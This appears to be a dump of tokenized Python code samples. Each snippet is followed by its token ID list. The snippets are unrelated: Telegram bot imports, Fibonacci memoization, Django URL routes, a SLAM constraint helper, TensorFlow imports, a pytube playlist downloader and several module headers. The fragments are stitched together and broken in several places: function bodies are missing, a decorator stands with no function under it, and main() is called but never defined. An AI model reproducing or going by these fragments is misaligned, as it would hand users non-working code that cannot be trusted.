198, 220, 220, 220, 37227, 198, 220, 220, 220, 611, 14283, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 685, 2704, 541, 62, 14050, 7, 16340, 62, 18053, 8, 329, 800, 62, 18053, 287, 2746, 7, 2704, 541, 62, 14050, 7, 9060, 4008, 60, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2746, 7, 9060, 8, 198, 198, 29113, 29113, 29113, 14468, 7804, 198, 198, 4299, 31312, 62, 87, 7, 9060, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 27131, 689, 262, 31312, 286, 281, 2939, 287, 262, 2124, 15793, 198, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 2939, 1058, 28034, 13, 51, 22854, 685, 33, 11, 18, 11, 39, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 23412, 2939, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 31312, 62, 87, 1058, 28034, 13, 51, 22854, 685, 33, 11, 18, 11, 39, 11, 54, 12, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 17701, 1153, 286, 2939, 351, 2461, 284, 2124, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1441, 2939, 58, 45299, 1058, 11, 1058, 11, 1058, 12, 16, 60, 532, 2939, 58, 45299, 1058, 11, 1058, 11, 352, 47715, 198, 198, 4299, 31312, 62, 88, 7, 9060, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 27131, 689, 262, 31312, 286, 281, 2939, 287, 262, 331, 15793, 198, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 2939, 1058, 28034, 13, 51, 22854, 685, 33, 11, 18, 11, 39, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 23412, 2939, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 31312, 62, 88, 1058, 28034, 13, 51, 22854, 685, 33, 11, 18, 11, 39, 12, 16, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 17701, 1153, 286, 2939, 351, 2461, 284, 331, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1441, 2939, 58, 45299, 1058, 11, 1058, 12, 16, 11, 1058, 60, 532, 2939, 58, 45299, 1058, 11, 352, 45299, 1058, 60, 198, 198, 29113, 29113, 29113, 14468, 7804, 198, 198, 4299, 39555, 378, 62, 9060, 7, 9060, 11, 5485, 11, 4235, 11639, 33473, 259, 451, 3256, 10548, 62, 20772, 364, 28, 17821, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4225, 16104, 378, 281, 2939, 284, 257, 1180, 6323, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 2939, 1058, 28034, 13, 51, 22854, 685, 33, 11, 21747, 71, 11, 86, 60, 198, 220, 220, 220, 220, 220, 220, 220, 7412, 284, 307, 39555, 515, 198, 220, 220, 220, 5485, 1058, 46545, 357, 39, 11, 370, 8, 198, 220, 220, 220, 220, 220, 220, 220, 25235, 5485, 198, 220, 220, 220, 4235, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 4225, 16104, 341, 4235, 198, 220, 220, 220, 10548, 62, 20772, 364, 1058, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 6407, 611, 14371, 481, 307, 19874, 706, 39555, 341, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 2939, 1058, 28034, 13, 51, 22854, 685, 33, 11, 21747, 39, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 4225, 16104, 515, 2939, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 7214, 938, 734, 15225, 355, 5485, 198, 220, 220, 220, 611, 18896, 7, 43358, 8, 1875, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 5485, 796, 5485, 58, 12, 17, 47715, 198, 220, 220, 220, 1303, 1002, 262, 15268, 389, 262, 976, 11, 466, 2147, 198, 220, 220, 220, 611, 976, 62, 43358, 7, 9060, 13, 43358, 58, 12, 17, 25, 4357, 5485, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2939, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 4225, 16104, 378, 2939, 284, 2872, 262, 5485, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 1257, 310, 13, 3849, 16104, 378, 7, 9060, 11, 2546, 28, 43358, 11, 4235, 28, 14171, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10548, 62, 20772, 364, 28, 31494, 62, 20772, 364, 8, 198, 198, 4299, 39555, 378, 62, 1416, 2040, 7, 17566, 11, 5485, 28, 14202, 11, 4235, 11639, 33473, 259, 451, 3256, 10548, 62, 20772, 364, 28, 25101, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4225, 16104, 378, 1351, 286, 4263, 284, 262, 976, 5485, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 4263, 1058, 1351, 286, 28034, 13, 51, 22854, 685, 33, 11, 21747, 21747, 26398, 198, 220, 220, 220, 220, 220, 220, 220, 5382, 284, 307, 39555, 515, 11, 351, 1180, 21811, 198, 220, 220, 220, 5485, 1058, 46545, 357, 39, 11, 370, 8, 198, 220, 220, 220, 220, 220, 220, 220, 25235, 5485, 198, 220, 220, 220, 4235, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 4225, 16104, 341, 4235, 198, 220, 220, 220, 10548, 62, 20772, 364, 1058, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 6407, 611, 14371, 481, 307, 19874, 706, 39555, 341, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 4263, 1058, 1351, 286, 28034, 13, 51, 22854, 685, 33, 11, 21747, 39, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 4225, 16104, 515, 4263, 11, 351, 262, 976, 6323, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 1002, 645, 5485, 318, 2810, 11, 39555, 378, 284, 4511, 6323, 198, 220, 220, 220, 611, 5485, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 5485, 796, 4263, 58, 15, 4083, 43358, 198, 220, 220, 220, 1303, 7214, 938, 734, 15225, 355, 5485, 198, 220, 220, 220, 611, 18896, 7, 43358, 8, 1875, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 5485, 796, 5485, 58, 12, 17, 47715, 198, 220, 220, 220, 1303, 4225, 16104, 378, 477, 4263, 198, 220, 220, 220, 1441, 685, 12543, 310, 13, 3849, 16104, 378, 7, 9060, 11, 5485, 11, 4235, 28, 14171, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10548, 62, 20772, 364, 28, 31494, 62, 20772, 364, 8, 329, 2939, 287, 4263, 60, 198, 198, 4299, 2872, 62, 1416, 2040, 7, 9060, 11, 6670, 11, 997, 62, 1416, 2040, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4235, 11639, 33473, 259, 451, 3256, 10548, 62, 20772, 364, 28, 17821, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4225, 16104, 378, 530, 2939, 284, 4439, 257, 1351, 286, 4263, 351, 262, 976, 5485, 355, 6670, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 2939, 1058, 28034, 13, 51, 22854, 685, 33, 11, 21747, 71, 11, 86, 60, 198, 220, 220, 220, 220, 220, 220, 220, 23412, 2939, 198, 220, 220, 220, 6670, 1058, 1351, 286, 28034, 13, 51, 22854, 685, 33, 11, 21747, 21747, 26398, 198, 220, 220, 220, 220, 220, 220, 220, 40280, 669, 351, 262, 2496, 21811, 198, 220, 220, 220, 997, 62, 1416, 2040, 1058, 493, 198, 220, 220, 220, 220, 220, 220, 220, 7913, 286, 3177, 16252, 198, 220, 220, 220, 4235, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 4225, 16104, 341, 4235, 198, 220, 220, 220, 10548, 62, 20772, 364, 1058, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 6407, 611, 14371, 481, 307, 19874, 706, 39555, 341, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 4263, 1058, 1351, 286, 28034, 13, 51, 22854, 685, 33, 11, 21747, 21747, 26398, 198, 220, 220, 220, 220, 220, 220, 220, 7343, 286, 4263, 351, 262, 976, 21811, 355, 6670, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 1114, 477, 16252, 198, 220, 220, 220, 4263, 796, 17635, 198, 220, 220, 220, 2939, 62, 43358, 796, 2939, 13, 43358, 58, 12, 17, 47715, 198, 220, 220, 220, 329, 1312, 287, 2837, 7, 22510, 62, 1416, 2040, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 2496, 62, 43358, 796, 6670, 58, 72, 4083, 43358, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 1002, 2939, 5485, 318, 4961, 284, 2496, 5485, 198, 220, 220, 220, 220, 220, 220, 220, 611, 976, 62, 43358, 7, 9060, 62, 43358, 11, 2496, 62, 43358, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4263, 13, 33295, 7, 9060, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 15323, 11, 39555, 378, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4263, 13, 33295, 7, 3849, 16104, 378, 62, 9060, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2939, 11, 2496, 62, 43358, 11, 4235, 28, 14171, 11, 10548, 62, 20772, 364, 28, 31494, 62, 20772, 364, 4008, 198, 220, 220, 220, 1303, 8229, 27464, 4263, 198, 220, 220, 220, 1441, 4263, 198, 198, 29113, 29113, 29113, 14468, 7804, 198, 198, 31, 75, 622, 62, 23870, 7, 9806, 7857, 28, 14202, 8, 198, 4299, 19609, 25928, 7, 33, 11, 367, 11, 370, 11, 288, 4906, 11, 3335, 11, 39279, 28, 25101, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 13610, 19609, 25928, 351, 257, 2176, 6323, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 347, 1058, 493, 198, 220, 220, 220, 220, 220, 220, 220, 347, 963, 2546, 198, 220, 220, 220, 367, 1058, 493, 198, 220, 220, 220, 220, 220, 220, 220, 27280, 2546, 198, 220, 220, 220, 370, 1058, 493, 198, 220, 220, 220, 220, 220, 220, 220, 38807, 2546, 198, 220, 220, 220, 288, 4906, 1058, 28034, 13, 67, 4906, 198, 220, 220, 220, 220, 220, 220, 220, 47529, 25928, 2099, 198, 220, 220, 220, 3335, 1058, 28034, 13, 25202, 198, 220, 220, 220, 220, 220, 220, 220, 47529, 25928, 3335, 198, 220, 220, 220, 39279, 1058, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 6407, 611, 10706, 318, 39279, 1022, 532, 16, 290, 352, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 2124, 82, 1058, 28034, 13, 51, 22854, 685, 33, 11, 16, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 47529, 25928, 287, 15793, 2124, 198, 220, 220, 220, 331, 82, 1058, 28034, 13, 51, 22854, 685, 33, 11, 39, 11, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 47529, 25928, 287, 15793, 331, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 611, 39279, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2124, 82, 796, 28034, 13, 21602, 10223, 32590, 16, 11, 352, 11, 370, 11, 3335, 28, 25202, 11, 288, 4906, 28, 67, 4906, 8, 198, 220, 220, 220, 220, 220, 220, 220, 331, 82, 796, 28034, 13, 21602, 10223, 32590, 16, 11, 352, 11, 367, 11, 3335, 28, 25202, 11, 288, 4906, 28, 67, 4906, 8, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2124, 82, 796, 28034, 13, 21602, 10223, 7, 15, 11, 370, 12, 16, 11, 370, 11, 3335, 28, 25202, 11, 288, 4906, 28, 67, 4906, 8, 198, 220, 220, 220, 220, 220, 220, 220, 331, 82, 796, 28034, 13, 21602, 10223, 7, 15, 11, 367, 12, 16, 11, 367, 11, 3335, 28, 25202, 11, 288, 4906, 28, 67, 4906, 8, 198, 220, 220, 220, 331, 82, 11, 2124, 82, 796, 28034, 13, 76, 5069, 25928, 26933, 893, 11, 2124, 82, 12962, 198, 220, 220, 220, 1441, 2124, 82, 13, 44754, 26933, 33, 11, 352, 11, 352, 46570, 331, 82, 13, 44754, 26933, 33, 11, 352, 11, 352, 12962, 198, 198, 31, 75, 622, 62, 23870, 7, 9806, 7857, 28, 14202, 8, 198, 4299, 2939, 62, 25928, 7, 33, 11, 367, 11, 370, 11, 288, 4906, 11, 3335, 11, 39279, 28, 25101, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 13610, 281, 2939, 10706, 351, 257, 2176, 6323, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 347, 1058, 493, 198, 220, 220, 220, 220, 220, 220, 220, 347, 963, 2546, 198, 220, 220, 220, 367, 1058, 493, 198, 220, 220, 220, 220, 220, 220, 220, 27280, 2546, 198, 220, 220, 220, 370, 1058, 493, 198, 220, 220, 220, 220, 220, 220, 220, 38807, 2546, 198, 220, 220, 220, 288, 4906, 1058, 28034, 13, 67, 4906, 198, 220, 220, 220, 220, 220, 220, 220, 47529, 25928, 2099, 198, 220, 220, 220, 3335, 1058, 28034, 13, 25202, 198, 220, 220, 220, 220, 220, 220, 220, 47529, 25928, 3335, 198, 220, 220, 220, 39279, 1058, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 6407, 611, 10706, 318, 39279, 1022, 532, 16, 290, 352, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 10706, 1058, 28034, 13, 51, 22854, 685, 33, 11, 18, 11, 39, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 7412, 10706, 7268, 257, 19609, 25928, 287, 2124, 11, 331, 290, 352, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 2124, 82, 11, 331, 82, 796, 19609, 25928, 7, 33, 11, 367, 11, 370, 11, 288, 4906, 11, 3335, 11, 39279, 28, 11265, 1143, 8, 198, 220, 220, 220, 3392, 796, 28034, 13, 1952, 62, 2339, 7, 34223, 8, 198, 220, 220, 220, 10706, 796, 28034, 13, 25558, 26933, 34223, 11, 331, 82, 11, 3392, 4357, 5391, 28, 16, 8, 198, 220, 220, 220, 1441, 10706, 198, 198, 29113, 29113, 29113, 14468, 7804, 198 ]
2.549562
2,966
import cell_workers
[ 11748, 2685, 62, 22896, 628 ]
4.2
5
import logging import accounts import diary from datetime import datetime, timedelta from telegram import (ReplyKeyboardMarkup, ReplyKeyboardRemove) from telegram.ext import (Updater, CommandHandler, MessageHandler, Filters, ConversationHandler) logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO) logger = logging.getLogger(__name__) COMMON, SCHOOL, LOGIN = range(3) KREPLY = ['Marks', 'Homework', 'Timetable', 'Choose School'] if __name__ == '__main__': main()
[ 11748, 18931, 198, 11748, 5504, 198, 11748, 26339, 198, 198, 6738, 4818, 8079, 1330, 4818, 8079, 11, 28805, 12514, 198, 198, 6738, 573, 30536, 1330, 357, 36875, 9218, 3526, 9704, 929, 11, 14883, 9218, 3526, 27914, 8, 198, 6738, 573, 30536, 13, 2302, 1330, 357, 4933, 67, 729, 11, 9455, 25060, 11, 16000, 25060, 11, 7066, 1010, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42427, 25060, 8, 198, 198, 6404, 2667, 13, 35487, 16934, 7, 18982, 11639, 4, 7, 292, 310, 524, 8, 82, 532, 4064, 7, 3672, 8, 82, 532, 4064, 7, 5715, 3672, 8, 82, 532, 4064, 7, 20500, 8, 82, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1241, 28, 6404, 2667, 13, 10778, 8, 198, 198, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 198, 9858, 27857, 11, 35883, 11, 41605, 1268, 796, 2837, 7, 18, 8, 198, 42, 2200, 6489, 56, 796, 37250, 44, 5558, 3256, 705, 28718, 6433, 3256, 705, 14967, 316, 540, 3256, 705, 31851, 3961, 20520, 628, 628, 628, 628, 628, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1388, 3419 ]
2.559471
227
"Automatic memoization" ''' fib3() can be further simplified. Python has a built-in decorator for memoizing any function automagically. In fib4(), the decorator @functools.lru_cache() is used with the same exact code as we used in fib2(). Each time fib4() is executed with a novel argument, the decorator causes the return value to be cached. Upon future calls of fib4() with the same argument, the previous return value of fib4() for that argument is retrieved from the cache and returned. ''' from functools import lru_cache @lru_cache(maxsize=None) if __name__ == '__main__': print(fib4(5)) print(fib4(50))
[ 1, 16541, 13730, 16155, 1634, 1, 198, 198, 7061, 6, 198, 69, 571, 18, 3419, 460, 307, 2252, 27009, 13, 11361, 468, 257, 3170, 12, 259, 11705, 1352, 329, 16155, 2890, 597, 198, 8818, 3557, 39066, 13, 554, 12900, 19, 22784, 262, 11705, 1352, 2488, 12543, 310, 10141, 13, 75, 622, 62, 23870, 3419, 318, 973, 198, 4480, 262, 976, 2748, 2438, 355, 356, 973, 287, 12900, 17, 22446, 5501, 640, 12900, 19, 3419, 318, 10945, 351, 257, 198, 3919, 626, 4578, 11, 262, 11705, 1352, 5640, 262, 1441, 1988, 284, 307, 39986, 13, 14438, 2003, 3848, 198, 1659, 12900, 19, 3419, 351, 262, 976, 4578, 11, 262, 2180, 1441, 1988, 286, 12900, 19, 3419, 329, 326, 4578, 198, 271, 29517, 422, 262, 12940, 290, 4504, 13, 198, 7061, 6, 198, 198, 6738, 1257, 310, 10141, 1330, 300, 622, 62, 23870, 628, 198, 31, 75, 622, 62, 23870, 7, 9806, 7857, 28, 14202, 8, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 3601, 7, 69, 571, 19, 7, 20, 4008, 198, 220, 220, 220, 3601, 7, 69, 571, 19, 7, 1120, 4008, 198, 220 ]
3.255208
192
from django.urls import path, include from patients.views.dashboard import dashboard from patients.views.patient import patient_detail, patient_list from patients.views.doctor import doctor_detail, doctor_list from patients.views.appointment import appointment_detail, appointment_list from patients.views.invoice import invoice_detail, invoice_list, invoice_print from patients.views.stats import stats urlpatterns = [ path('', dashboard, name='index'), path('patients/', patient_list, name='patients'), path('patient/<int:pk>/', patient_detail, name='patient'), path('appointments/', appointment_list, name="appointments"), path('appointment/<int:pk>/', appointment_detail, name="appointment"), path('doctors/', doctor_list, name='doctors'), path('doctor/<int:pk>/', doctor_detail, name='doctor'), path('invoices/', invoice_list, name='invoices'), path('invoice/<int:pk>/', invoice_detail, name='invoice'), path('invoice/<int:pk>/print/', invoice_print, name='invoice_print'), path('stats/', stats, name='stats'), ] urlpatterns += [ path('api/v1/', include('patients.api.urls')), ]
[ 6738, 42625, 14208, 13, 6371, 82, 1330, 3108, 11, 2291, 198, 6738, 3871, 13, 33571, 13, 42460, 3526, 1330, 30415, 198, 6738, 3871, 13, 33571, 13, 26029, 1330, 5827, 62, 49170, 11, 5827, 62, 4868, 198, 6738, 3871, 13, 33571, 13, 35580, 1330, 6253, 62, 49170, 11, 6253, 62, 4868, 198, 6738, 3871, 13, 33571, 13, 1324, 49805, 1330, 12557, 62, 49170, 11, 12557, 62, 4868, 198, 6738, 3871, 13, 33571, 13, 16340, 2942, 1330, 45458, 62, 49170, 11, 45458, 62, 4868, 11, 45458, 62, 4798, 198, 6738, 3871, 13, 33571, 13, 34242, 1330, 9756, 198, 198, 6371, 33279, 82, 796, 685, 198, 220, 220, 220, 3108, 10786, 3256, 30415, 11, 1438, 11639, 9630, 33809, 198, 220, 220, 220, 3108, 10786, 8071, 2334, 14, 3256, 5827, 62, 4868, 11, 1438, 11639, 8071, 2334, 33809, 198, 220, 220, 220, 3108, 10786, 26029, 14, 27, 600, 25, 79, 74, 29, 14, 3256, 5827, 62, 49170, 11, 1438, 11639, 26029, 33809, 198, 220, 220, 220, 3108, 10786, 1324, 1563, 902, 14, 3256, 12557, 62, 4868, 11, 1438, 2625, 1324, 1563, 902, 12340, 198, 220, 220, 220, 3108, 10786, 1324, 49805, 14, 27, 600, 25, 79, 74, 29, 14, 3256, 12557, 62, 49170, 11, 1438, 2625, 1324, 49805, 12340, 198, 220, 220, 220, 3108, 10786, 4598, 5217, 14, 3256, 6253, 62, 4868, 11, 1438, 11639, 4598, 5217, 33809, 198, 220, 220, 220, 3108, 10786, 35580, 14, 27, 600, 25, 79, 74, 29, 14, 3256, 6253, 62, 49170, 11, 1438, 11639, 35580, 33809, 198, 220, 220, 220, 3108, 10786, 259, 13038, 1063, 14, 3256, 45458, 62, 4868, 11, 1438, 11639, 259, 13038, 1063, 33809, 198, 220, 220, 220, 3108, 10786, 16340, 2942, 14, 27, 600, 25, 79, 74, 29, 14, 3256, 45458, 62, 49170, 11, 1438, 11639, 16340, 2942, 33809, 198, 220, 220, 220, 3108, 10786, 16340, 2942, 14, 27, 600, 25, 79, 74, 29, 14, 4798, 14, 3256, 45458, 62, 4798, 11, 1438, 11639, 16340, 2942, 62, 4798, 33809, 198, 220, 220, 220, 3108, 10786, 34242, 14, 3256, 9756, 11, 1438, 11639, 34242, 33809, 198, 60, 198, 198, 6371, 33279, 82, 15853, 685, 198, 220, 220, 220, 3108, 10786, 15042, 14, 85, 16, 14, 3256, 2291, 10786, 8071, 2334, 13, 15042, 13, 6371, 82, 11537, 828, 198, 60 ]
3.029412
374
import numpy as np import matplotlib.pyplot as plt from numpy.linalg import inv from pandas import DataFrame import seaborn as sns from robot_class import Robot from helpers import display_world, make_data ## slam takes in 6 arguments and returns mu, ## mu is the entire path traversed by a robot (all x,y poses) *and* all landmarks locations def initialize_constraints(N, num_landmarks, world_size): ''' This function takes in a number of time steps N, number of landmarks, and a world_size, and returns initialized constraint matrices, omega and xi.''' ## Recommended: Define and store the size (rows/cols) of the constraint matrix in a variable ## TODO: Define the constraint matrix, Omega, with two initial "strength" values ## for the initial x, y location of our robot side_len = N + num_landmarks omega = [[[[1, 0], [0, 1]] if x==0 and y==0 else [[0, 0], [0, 0]] for x in range(side_len)] for y in range(side_len)] xi = [[int(world_size / 2) if y==0 else 0 for x in range(2)] for y in range(side_len)] return omega, xi if __name__ == "__main__": main()
[ 11748, 299, 32152, 355, 45941, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 6738, 299, 32152, 13, 75, 1292, 70, 1330, 800, 198, 6738, 19798, 292, 1330, 6060, 19778, 198, 11748, 384, 397, 1211, 355, 3013, 82, 198, 6738, 9379, 62, 4871, 1330, 16071, 198, 6738, 49385, 1330, 3359, 62, 6894, 11, 787, 62, 7890, 198, 198, 2235, 21158, 2753, 287, 718, 7159, 290, 5860, 38779, 11, 220, 198, 2235, 38779, 318, 262, 2104, 3108, 33038, 276, 416, 257, 9379, 357, 439, 2124, 11, 88, 17313, 8, 1635, 392, 9, 477, 41532, 7064, 198, 198, 4299, 41216, 62, 1102, 2536, 6003, 7, 45, 11, 997, 62, 1044, 14306, 11, 995, 62, 7857, 2599, 198, 220, 220, 220, 705, 7061, 770, 2163, 2753, 287, 257, 1271, 286, 640, 4831, 399, 11, 1271, 286, 41532, 11, 290, 257, 995, 62, 7857, 11, 198, 220, 220, 220, 220, 220, 220, 220, 290, 5860, 23224, 32315, 2603, 45977, 11, 37615, 290, 2124, 72, 2637, 7061, 198, 220, 220, 220, 220, 198, 220, 220, 220, 22492, 31117, 25, 2896, 500, 290, 3650, 262, 2546, 357, 8516, 14, 4033, 82, 8, 286, 262, 32315, 17593, 287, 257, 7885, 198, 220, 220, 220, 220, 198, 220, 220, 220, 22492, 16926, 46, 25, 2896, 500, 262, 32315, 17593, 11, 19839, 11, 351, 734, 4238, 366, 41402, 1, 3815, 198, 220, 220, 220, 22492, 329, 262, 4238, 2124, 11, 331, 4067, 286, 674, 9379, 198, 220, 220, 220, 1735, 62, 11925, 796, 399, 1343, 997, 62, 1044, 14306, 198, 220, 220, 220, 37615, 796, 16410, 30109, 16, 11, 657, 4357, 685, 15, 11, 352, 11907, 611, 2124, 855, 15, 290, 331, 855, 15, 2073, 16410, 15, 11, 657, 4357, 685, 15, 11, 657, 11907, 329, 2124, 287, 2837, 7, 1589, 62, 11925, 15437, 329, 331, 287, 2837, 7, 1589, 62, 11925, 15437, 198, 220, 220, 220, 2124, 72, 796, 16410, 600, 7, 6894, 62, 7857, 1220, 362, 8, 611, 331, 855, 15, 2073, 657, 329, 2124, 287, 2837, 7, 17, 15437, 329, 331, 287, 2837, 7, 1589, 62, 11925, 15437, 198, 220, 220, 220, 1441, 37615, 11, 2124, 72, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 1388, 3419, 198 ]
3
373
import tensorflow as tf from tensorflow.python.keras.layers import Input from tensorflow.python.keras.models import Model, load_model from tensorflow.python.keras.layers import Convolution2D, Convolution3D from tensorflow.python.keras.layers import MaxPooling2D, MaxPooling3D from tensorflow.python.keras.activations import relu from tensorflow.python.keras.layers import Dropout, Flatten, Dense from tensorflow.python.keras.layers import Cropping2D, Cropping3D
[ 11748, 11192, 273, 11125, 355, 48700, 198, 198, 6738, 11192, 273, 11125, 13, 29412, 13, 6122, 292, 13, 75, 6962, 1330, 23412, 198, 6738, 11192, 273, 11125, 13, 29412, 13, 6122, 292, 13, 27530, 1330, 9104, 11, 3440, 62, 19849, 198, 6738, 11192, 273, 11125, 13, 29412, 13, 6122, 292, 13, 75, 6962, 1330, 34872, 2122, 17, 35, 11, 34872, 2122, 18, 35, 198, 6738, 11192, 273, 11125, 13, 29412, 13, 6122, 292, 13, 75, 6962, 1330, 5436, 27201, 278, 17, 35, 11, 5436, 27201, 278, 18, 35, 198, 6738, 11192, 273, 11125, 13, 29412, 13, 6122, 292, 13, 15791, 602, 1330, 823, 84, 198, 6738, 11192, 273, 11125, 13, 29412, 13, 6122, 292, 13, 75, 6962, 1330, 14258, 448, 11, 1610, 41769, 11, 360, 1072, 198, 6738, 11192, 273, 11125, 13, 29412, 13, 6122, 292, 13, 75, 6962, 1330, 9325, 2105, 17, 35, 11, 9325, 2105, 18, 35, 628 ]
3.093333
150
from pytube import YouTube # pip install pytube or pytube3 from pytube import Playlist import os, re if __name__ == '__main__': playlist = Playlist("https://www.youtube.com/playlist?list=PL8A83A276F0D85E70") main(1, playlist)
[ 6738, 12972, 29302, 1330, 7444, 1303, 7347, 2721, 12972, 29302, 393, 12972, 29302, 18, 198, 6738, 12972, 29302, 1330, 3811, 4868, 198, 11748, 28686, 11, 302, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 33178, 796, 3811, 4868, 7203, 5450, 1378, 2503, 13, 11604, 13, 785, 14, 1759, 4868, 30, 4868, 28, 6489, 23, 32, 5999, 32, 27988, 37, 15, 35, 5332, 36, 2154, 4943, 198, 220, 220, 220, 1388, 7, 16, 11, 33178, 8, 198 ]
2.797619
84
#!/usr/bin/python import socket import unittest from pybgp import pathattr, nlri
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 198, 11748, 17802, 198, 11748, 555, 715, 395, 198, 198, 6738, 12972, 65, 31197, 1330, 3108, 35226, 11, 299, 75, 380, 628 ]
2.8
30
from ._data_loader import RawDataLoader, EmbeddingLoader, NERDataLoader, ATCDataLoader, \ AlbertBaseATCDataLoader, BertBaseATCDataLoader
[ 6738, 47540, 7890, 62, 29356, 1330, 16089, 6601, 17401, 11, 13302, 6048, 278, 17401, 11, 399, 1137, 6601, 17401, 11, 317, 4825, 6601, 17401, 11, 3467, 198, 220, 220, 220, 9966, 14881, 1404, 34, 6601, 17401, 11, 22108, 14881, 1404, 34, 6601, 17401, 198 ]
3.204545
44
from typing import Dict, Text, Any, Tuple, Union import torch from torch import nn
[ 6738, 19720, 1330, 360, 713, 11, 8255, 11, 4377, 11, 309, 29291, 11, 4479, 198, 198, 11748, 28034, 198, 6738, 28034, 1330, 299, 77, 628, 628, 628 ]
3.296296
27
# -*- coding: utf-8 -*- from __future__ import unicode_literals from .base import BaseCommand from checkmate.management.helpers import save_project_config import sys import os import os.path import json import time import uuid import logging logger = logging.getLogger(__name__) """ Creates a new project. The command proceeds as follows: -We create a .checkmate directory in the current directory. -If a project already exists in the same directory, we do nothing. """
